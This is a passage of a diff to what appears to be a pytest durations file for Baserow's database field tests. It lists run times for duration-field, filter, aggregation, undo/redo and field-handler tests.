0.22012104199893656, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_duration_field_view_aggregations": 0.18545162499958678, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_duration_field_view_filters": 0.20256174999940413, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_get_group_by_metadata_in_rows_with_duration_field": 0.17683608199968148, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_import_export_duration_field": 0.3495044590008547, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_remove_duration_field": 0.17493379099960293, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_toduration_formula_set_null_values_if_the_argument_is_invalid": 0.24738929100021778, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_update_duration_field_row": 0.17361591799908638, - "tests/baserow/contrib/database/field/test_duration_field_type.py::test_update_duration_field_rows": 0.17681854200054659, - "tests/baserow/contrib/database/field/test_duration_routines.py::test_duration_timedelta_to_db[d h mm ss--1:00:10-expected_output3]": 0.009540708000713494, - "tests/baserow/contrib/database/field/test_duration_routines.py::test_duration_timedelta_to_db[d h mm ss--3610-expected_output4]": 0.0088104589995055, - "tests/baserow/contrib/database/field/test_duration_routines.py::test_duration_timedelta_to_db[d h mm ss-1:00:10-expected_output2]": 0.008038373998715542, - "tests/baserow/contrib/database/field/test_duration_routines.py::test_duration_timedelta_to_db[d h mm--3610-expected_output5]": 0.008593124999606516, - "tests/baserow/contrib/database/field/test_duration_routines.py::test_duration_timedelta_to_db[d h--10:00-expected_output1]": 0.007621542001288617, - "tests/baserow/contrib/database/field/test_duration_routines.py::test_duration_timedelta_to_db[d h-10:00-expected_output0]": 0.007771040998704848, - "tests/baserow/contrib/database/field/test_field_actions.py::test_can_insert_row_when_backup_fields_exist": 0.21127841700035788, - "tests/baserow/contrib/database/field/test_field_actions.py::test_can_still_cleanup_m2m_backup_after_field_perm_deleted": 0.44977208399996016, - "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_and_redo_converting_link_row_to_other_type": 0.45793425000010757, - "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_and_redo_converting_link_row_to_other_type_related": 0.46081937500002823, - "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_and_redo_converting_multi_select_to_other_type": 0.2742039170007047, - "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_and_redo_linkrow_deleting_one_side_relationships": 0.3830725000007078, - "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_and_redo_removing_multi_select_option": 0.2631122080010755, - "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_redo_adding_select_option": 0.39165045999925496, - "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_redo_change_primary_field": 0.18226474900075118, - "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_redo_converting_away_from_single_select": 0.23412324999935663, - "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_redo_duplicate_fields_of_interesting_table": 15.107925715999954, - "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_redo_removing_select_option": 0.3938755420003872, - "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_redo_updating_single_select": 0.3879324159988755, - "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_updating_field": 0.20234145900030853, - "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_updating_field_every_type": 0.0001347920006082859, - "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_updating_max_value_of_rating_field": 0.22824345899880427, - "tests/baserow/contrib/database/field/test_field_actions.py::test_cleaning_up_undo_link_row_action_deletes_m2m_table": 0.25357133300076384, - "tests/baserow/contrib/database/field/test_field_actions.py::test_cleaning_up_undo_single_column_field_action_deletes_column": 0.17271708299995225, - "tests/baserow/contrib/database/field/test_field_actions.py::test_cleaning_up_undo_single_column_perm_deleted_field_action_deletes_column": 0.18056520799927966, - "tests/baserow/contrib/database/field/test_field_actions.py::test_cleaning_up_undo_single_column_perm_deleted_table_doesnt_crash": 0.20102179199875536, - "tests/baserow/contrib/database/field/test_field_actions.py::test_date_field_type_undo_redo_fix_timezone_offset": 0.20673358399926656, - "tests/baserow/contrib/database/field/test_field_actions.py::test_undoing_link_row_type_change_can_still_insert_new_relations_after": 0.3515580829989631, - "tests/baserow/contrib/database/field/test_field_actions.py::test_updating_field_name_only_and_redoing_after_naming_collisions_works": 0.3605246659999466, - "tests/baserow/contrib/database/field/test_field_actions.py::test_updating_field_name_only_and_undoing_after_naming_collisions_works": 0.3426644169994688, - "tests/baserow/contrib/database/field/test_field_actions.py::test_updating_field_name_only_doesnt_create_backup": 0.19425729100021272, - "tests/baserow/contrib/database/field/test_field_actions.py::test_updating_formula_field_to_other_type_doesnt_make_backup": 0.19634175100054563, - "tests/baserow/contrib/database/field/test_field_actions.py::test_updating_formula_fields_formula_doesnt_make_backup": 0.17931520900037867, - "tests/baserow/contrib/database/field/test_field_converters.py::test_link_row_field_converter_applicable": 0.027265373999398435, - "tests/baserow/contrib/database/field/test_field_filters.py::test_advanced_filter_builder_apply_filters_correctly": 0.15585754299991095, - "tests/baserow/contrib/database/field/test_field_filters.py::test_building_filter_with_and_type_ands_all_provided_qs_together": 0.15930995800044911, - "tests/baserow/contrib/database/field/test_field_filters.py::test_building_filter_with_annotated_qs_annotates_prior_to_filter": 0.15561020899986033, - "tests/baserow/contrib/database/field/test_field_filters.py::test_building_filter_with_many_annotated_qs_merges_the_annotations": 0.15686274900053832, - "tests/baserow/contrib/database/field/test_field_filters.py::test_building_filter_with_or_type_ors_all_provided_qs_together": 0.16063824899902102, - "tests/baserow/contrib/database/field/test_field_filters.py::test_can_invert_an_annotated_q": 0.15438812499996857, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h mm-1d 1h 12m-new_duration_field_value8]": 0.17838991698226891, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h-1d 2h-new_duration_field_value5]": 0.18044533403008245, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h:mm-1d 1:02-new_duration_field_value6]": 0.18123912398004904, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[d h:mm:ss-1d 1:02:03-new_duration_field_value7]": 0.17005529202288017, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[h:mm-1:01-new_duration_field_value0]": 0.17927287498605438, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[h:mm:ss-1:01:05-new_duration_field_value1]": 0.17950020797434263, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[h:mm:ss.s-1:01:05.5-new_duration_field_value2]": 0.17448904301272705, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[h:mm:ss.ss-1:01:05.55-new_duration_field_value3]": 0.1712750840233639, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_convert_text_field_to_duration_field[h:mm:ss.sss-1:01:05.555-new_duration_field_value4]": 0.18145766598172486, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_create_duration_field": 0.12163520901231095, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_create_duration_field_row": 0.13549045898253098, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_create_duration_field_rows": 0.14193645800696686, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_duration_field_can_be_looked_up": 0.5022813329997007, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_duration_field_can_be_used_in_formulas": 0.2557555420207791, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_duration_field_view_aggregations": 0.15680924998014234, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_duration_field_view_filters": 0.18013316695578396, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_get_group_by_metadata_in_rows_with_duration_field": 0.13512853998690844, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_import_export_duration_field": 0.4301912089867983, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_remove_duration_field": 0.1526533749711234, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_toduration_formula_set_null_values_if_the_argument_is_invalid": 0.26305329203023575, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_update_duration_field_row": 0.1478860010392964, + "tests/baserow/contrib/database/field/test_duration_field_type.py::test_update_duration_field_rows": 0.15392116602743044, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_empty_value_filter[empty--expected_rows0-d h]": 0.18022529099835083, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_empty_value_filter[not_empty--expected_rows1-d h]": 0.18633900000713766, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[equal--expected_rows15-d h mm ss-None]": 0.17829433400765993, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[equal-0:59-expected_rows7-d h-expected_test_value7]": 0.1820757919922471, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[equal-0:59-expected_rows8-d h mm ss-expected_test_value8]": 0.1874079580011312, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[equal-10800-expected_rows0-h:mm-expected_test_value0]": 0.21200687502278015, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[equal-10800-expected_rows2-d h mm ss-expected_test_value2]": 0.18422929200460203, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[equal-10802-expected_rows3-h:mm-expected_test_value3]": 0.19732395801111124, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[equal-1:00-expected_rows5-h:mm-expected_test_value5]": 0.18707099999301136, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[equal-1:00-expected_rows6-h:mm:ss-expected_test_value6]": 0.18951129200286232, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[equal-1d 20h-expected_rows11-d h:mm-expected_test_value11]": 0.17761320900171995, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[equal-3600s-expected_rows4-h:mm-expected_test_value4]": 0.17421587399439886, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[equal-3601s-expected_rows10-h:mm:ss-expected_test_value10]": 0.1655003750056494, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[equal-3601s-expected_rows9-h:mm-expected_test_value9]": 0.18175362501642667, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[equal-3h-expected_rows1-h:mm-expected_test_value1]": 0.1953885419643484, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[equal-5400-expected_rows12-d h mm ss-expected_test_value12]": 0.18799779200344346, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[equal-5400-expected_rows13-d h-expected_test_value13]": 0.2019775830267463, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[equal-invalid-expected_rows14-d h mm ss-None]": 0.18625791600788943, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[not_equal--expected_rows24-d h mm ss-None]": 0.18889804198988713, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[not_equal-10800-expected_rows16-h:mm-expected_test_value16]": 0.19069700100226328, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[not_equal-10800-expected_rows18-d h-expected_test_value18]": 0.17511820804793388, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[not_equal-1:00-expected_rows21-d h mm ss-expected_test_value21]": 0.18442974900244735, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[not_equal-1:00-expected_rows22-h:mm-expected_test_value22]": 0.17639179099933244, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[not_equal-3h 2s-expected_rows17-d h-expected_test_value17]": 0.18619541701627895, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[not_equal-5400-expected_rows19-d h mm ss-expected_test_value19]": 0.18644454205059446, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[not_equal-5400-expected_rows20-d h-expected_test_value20]": 0.18867566698463634, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_equal_value_filter[not_equal-invalid-expected_rows23-d h mm ss-None]": 0.200038917013444, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than--expected_rows16-d h-None]": 0.1832206670078449, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than-10800-expected_rows12-d h-expected_test_value12]": 0.1824667509936262, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than-12601-expected_rows13-d h-expected_test_value13]": 0.188052500016056, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than-12601-expected_rows14-h:mm:ss-expected_test_value14]": 0.18528158299159259, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than-1:00-expected_rows11-h:mm:ss-expected_test_value11]": 0.18942045900621451, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than-1:01-expected_rows10-h:mm:ss-expected_test_value10]": 0.17737229200429283, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than-1:01-expected_rows8-d h-expected_test_value8]": 0.17664583399891853, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than-1:01-expected_rows9-h:mm-expected_test_value9]": 0.1787527090345975, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than-1:59:59-expected_rows4-d h-expected_test_value4]": 0.18592879100469872, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than-1:59:59-expected_rows5-h:mm:ss-expected_test_value5]": 0.17161450002458878, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than-3600-expected_rows2-d h mm-expected_test_value2]": 0.18618962401524186, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than-3600-expected_rows6-d h mm ss-expected_test_value6]": 0.17748391701024957, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than-3600-expected_rows7-d h-expected_test_value7]": 0.19273329200223088, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than-5400-expected_rows0-d h mm ss-expected_test_value0]": 0.17785233398899436, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than-5400-expected_rows1-d h-expected_test_value1]": 0.1930920840241015, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than-7198-expected_rows3-d h mm-expected_test_value3]": 0.17860116699011996, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than-invalid-expected_rows15-d h-None]": 0.1590556250012014, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than_or_equal--expected_rows26-d h mm ss-None]": 0.18733829198754393, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than_or_equal-10801-expected_rows19-d h-expected_test_value19]": 0.17329566698754206, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than_or_equal-10801-expected_rows20-h:mm:ss-expected_test_value20]": 0.18269654299365357, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than_or_equal-1:59-expected_rows23-h:mm:ss-expected_test_value23]": 0.18079949999810196, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than_or_equal-1:59-expected_rows24-d h-expected_test_value24]": 0.17700187402078882, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than_or_equal-1:59:59-expected_rows21-h:mm:ss-expected_test_value21]": 0.1533202090067789, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than_or_equal-1:59:59-expected_rows22-d h-expected_test_value22]": 0.18533920898335055, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than_or_equal-5400-expected_rows17-d h-expected_test_value17]": 0.1796240009716712, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than_or_equal-5400-expected_rows18-h:mm:ss-expected_test_value18]": 0.17785883400938474, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_higher_than_equal_value_filter[higher_than_or_equal-invalid-expected_rows25-d h mm ss-None]": 0.1785040420072619, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_lower_than_equal_value_filter[lower_than--expected_rows4-d h mm ss-None]": 0.17979383398778737, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_lower_than_equal_value_filter[lower_than-10800-expected_rows2-d h mm ss-expected_test_value2]": 0.18265162396710366, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_lower_than_equal_value_filter[lower_than-3599-expected_rows1-d h-expected_test_value1]": 0.17763749897130765, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_lower_than_equal_value_filter[lower_than-5400-expected_rows0-d h-expected_test_value0]": 0.18660312399151735, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_lower_than_equal_value_filter[lower_than-invalid-expected_rows3-d h mm ss-None]": 0.18683233298361301, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_lower_than_equal_value_filter[lower_than_or_equal--expected_rows13-d h mm ss-None]": 0.17815766701824032, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_lower_than_equal_value_filter[lower_than_or_equal-0:01-expected_rows10-h:mm-expected_test_value10]": 0.17993645800743252, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_lower_than_equal_value_filter[lower_than_or_equal-0:59-expected_rows11-d h-expected_test_value11]": 0.17951816704589874, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_lower_than_equal_value_filter[lower_than_or_equal-10800-expected_rows7-d h-expected_test_value7]": 0.1821238320262637, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_lower_than_equal_value_filter[lower_than_or_equal-1:01-expected_rows5-h:mm:ss-expected_test_value5]": 0.4479929589724634, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_lower_than_equal_value_filter[lower_than_or_equal-1:01-expected_rows6-d h-expected_test_value6]": 0.18982966800103895, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_lower_than_equal_value_filter[lower_than_or_equal-1:01-expected_rows9-h:mm:ss-expected_test_value9]": 0.17204704202595167, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_lower_than_equal_value_filter[lower_than_or_equal-8999-expected_rows8-d h-expected_test_value8]": 0.18205012494581752, + "tests/baserow/contrib/database/field/test_duration_formula_field_filters.py::test_duration_formula_lower_than_equal_value_filter[lower_than_or_equal-invalid-expected_rows12-d h mm ss-None]": 0.13824545801617205, + "tests/baserow/contrib/database/field/test_duration_routines.py::test_duration_timedelta_to_db[d h mm ss--1:00:10-expected_output3]": 0.013114084023982286, + "tests/baserow/contrib/database/field/test_duration_routines.py::test_duration_timedelta_to_db[d h mm ss--3610-expected_output4]": 0.01308550001704134, + "tests/baserow/contrib/database/field/test_duration_routines.py::test_duration_timedelta_to_db[d h mm ss-1:00:10-expected_output2]": 0.012828126025851816, + "tests/baserow/contrib/database/field/test_duration_routines.py::test_duration_timedelta_to_db[d h mm--3610-expected_output5]": 0.012954375008121133, + "tests/baserow/contrib/database/field/test_duration_routines.py::test_duration_timedelta_to_db[d h--10:00-expected_output1]": 0.013475166022544727, + "tests/baserow/contrib/database/field/test_duration_routines.py::test_duration_timedelta_to_db[d h-10:00-expected_output0]": 0.01351320804678835, + "tests/baserow/contrib/database/field/test_field_actions.py::test_can_insert_row_when_backup_fields_exist": 0.2346082909789402, + "tests/baserow/contrib/database/field/test_field_actions.py::test_can_still_cleanup_m2m_backup_after_field_perm_deleted": 0.4255289590510074, + "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_and_redo_converting_link_row_to_other_type": 0.6876384999777656, + "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_and_redo_converting_link_row_to_other_type_related": 0.7238756669976283, + "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_and_redo_converting_multi_select_to_other_type": 0.385681250016205, + "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_and_redo_linkrow_deleting_one_side_relationships": 0.642245458002435, + "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_and_redo_removing_multi_select_option": 0.3325270839850418, + "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_redo_adding_select_option": 0.4428673750371672, + "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_redo_change_primary_field": 0.22388387500541285, + "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_redo_converting_away_from_single_select": 0.2686465829901863, + "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_redo_duplicate_fields_of_interesting_table": 34.61236574998475, + "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_redo_removing_select_option": 0.458576750010252, + "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_redo_updating_single_select": 0.41672083298908547, + "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_updating_field": 0.22243720895494334, + "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_updating_field_every_type": 0.00016858300659805536, + "tests/baserow/contrib/database/field/test_field_actions.py::test_can_undo_updating_max_value_of_rating_field": 0.2560327919491101, + "tests/baserow/contrib/database/field/test_field_actions.py::test_cleaning_up_undo_link_row_action_deletes_m2m_table": 0.41384625001228414, + "tests/baserow/contrib/database/field/test_field_actions.py::test_cleaning_up_undo_single_column_field_action_deletes_column": 0.19588445796398446, + "tests/baserow/contrib/database/field/test_field_actions.py::test_cleaning_up_undo_single_column_perm_deleted_field_action_deletes_column": 0.19598091603256762, + "tests/baserow/contrib/database/field/test_field_actions.py::test_cleaning_up_undo_single_column_perm_deleted_table_doesnt_crash": 0.23461224997299723, + "tests/baserow/contrib/database/field/test_field_actions.py::test_date_field_type_undo_redo_fix_timezone_offset": 0.23026662599295378, + "tests/baserow/contrib/database/field/test_field_actions.py::test_undo_multiple_select_conversion_with_default_value": 0.2916008750034962, + "tests/baserow/contrib/database/field/test_field_actions.py::test_undo_single_select_conversion_with_default_value": 0.235049250011798, + "tests/baserow/contrib/database/field/test_field_actions.py::test_undoing_link_row_type_change_can_still_insert_new_relations_after": 0.70596070800093, + "tests/baserow/contrib/database/field/test_field_actions.py::test_updating_field_name_only_and_redoing_after_naming_collisions_works": 0.2978927080112044, + "tests/baserow/contrib/database/field/test_field_actions.py::test_updating_field_name_only_and_undoing_after_naming_collisions_works": 0.27308325096964836, + "tests/baserow/contrib/database/field/test_field_actions.py::test_updating_field_name_only_doesnt_create_backup": 0.16937608402804472, + "tests/baserow/contrib/database/field/test_field_actions.py::test_updating_formula_field_to_other_type_doesnt_make_backup": 0.1682498760346789, + "tests/baserow/contrib/database/field/test_field_actions.py::test_updating_formula_fields_formula_doesnt_make_backup": 0.16023649999988265, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_average": 0.1357236659678165, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_checked_count": 0.1361172929755412, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_checked_percentage": 0.1289429989992641, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_compute_final_aggregation": 0.01985291697201319, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_count": 0.12988820901955478, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_earliest": 0.1390982080483809, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_empty_count": 0.12967954197665676, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_empty_percentage": 0.13543612501234747, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_latest": 0.13275745799182914, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_max": 0.13660574902314693, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_median": 0.14060437501757406, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_min": 0.14389546000165865, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_not_checked_count": 0.13424420898081735, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_not_checked_percentage": 0.13567049900302663, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_not_empty_count": 0.1321460000181105, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_not_empty_percentage": 0.12972516697482206, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_stddev": 0.1420893750328105, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_sum": 0.1345346259768121, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_unique_count": 0.13950104100513272, + "tests/baserow/contrib/database/field/test_field_aggregations.py::test_field_agg_variance": 0.1384183740010485, + "tests/baserow/contrib/database/field/test_field_converters.py::test_link_row_field_converter_applicable": 0.06436924997251481, + "tests/baserow/contrib/database/field/test_field_filters.py::test_advanced_filter_builder_apply_filters_correctly": 0.12188699998660013, + "tests/baserow/contrib/database/field/test_field_filters.py::test_building_filter_with_and_type_ands_all_provided_qs_together": 0.12970975003554486, + "tests/baserow/contrib/database/field/test_field_filters.py::test_building_filter_with_annotated_qs_annotates_prior_to_filter": 0.14031787498970516, + "tests/baserow/contrib/database/field/test_field_filters.py::test_building_filter_with_many_annotated_qs_merges_the_annotations": 0.12982154099154286, + "tests/baserow/contrib/database/field/test_field_filters.py::test_building_filter_with_or_type_ors_all_provided_qs_together": 0.1337457500048913, + "tests/baserow/contrib/database/field/test_field_filters.py::test_can_invert_an_annotated_q": 0.1291317500290461, + "tests/baserow/contrib/database/field/test_field_handler.py::test_can_change_primary_field_and_update_dependencies": 0.6595610830117948, "tests/baserow/contrib/database/field/test_field_handler.py::test_can_convert_between_all_fields": 0.00029005099986534333, - "tests/baserow/contrib/database/field/test_field_handler.py::test_can_convert_formula_to_numeric_field": 0.1730890000008003, - "tests/baserow/contrib/database/field/test_field_handler.py::test_can_create_single_select_options_with_specific_pk": 0.15515829200012377, - "tests/baserow/contrib/database/field/test_field_handler.py::test_can_update_single_select_options_with_upsert_key": 0.15929583299930528, - "tests/baserow/contrib/database/field/test_field_handler.py::test_change_primary_field_different_table": 0.1596484589999818, - "tests/baserow/contrib/database/field/test_field_handler.py::test_change_primary_field_field_is_already_primary": 0.14914633399894228, - "tests/baserow/contrib/database/field/test_field_handler.py::test_change_primary_field_field_no_update_permissions": 0.2770712919991638, - "tests/baserow/contrib/database/field/test_field_handler.py::test_change_primary_field_field_with_existing_primary_field": 0.16855500000019674, - "tests/baserow/contrib/database/field/test_field_handler.py::test_change_primary_field_field_with_primary": 0.1578585839988591, - "tests/baserow/contrib/database/field/test_field_handler.py::test_change_primary_field_field_without_primary": 0.15051095699982397, - "tests/baserow/contrib/database/field/test_field_handler.py::test_change_primary_field_signal_send": 0.15862654200100224, - "tests/baserow/contrib/database/field/test_field_handler.py::test_change_primary_field_type_not_primary": 0.15223083200089604, - "tests/baserow/contrib/database/field/test_field_handler.py::test_create_field": 0.3442248329993163, - "tests/baserow/contrib/database/field/test_field_handler.py::test_create_primary_field": 0.18155366600058187, - "tests/baserow/contrib/database/field/test_field_handler.py::test_delete_field": 0.3016683750001903, - "tests/baserow/contrib/database/field/test_field_handler.py::test_duplicating_link_row_field_properly_resets_pk_sequence_of_new_table": 0.3579845829990518, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_ai": 8.037499992497033e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_autonumber": 7.804199958627578e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_boolean": 9.775000035006087e-05, - 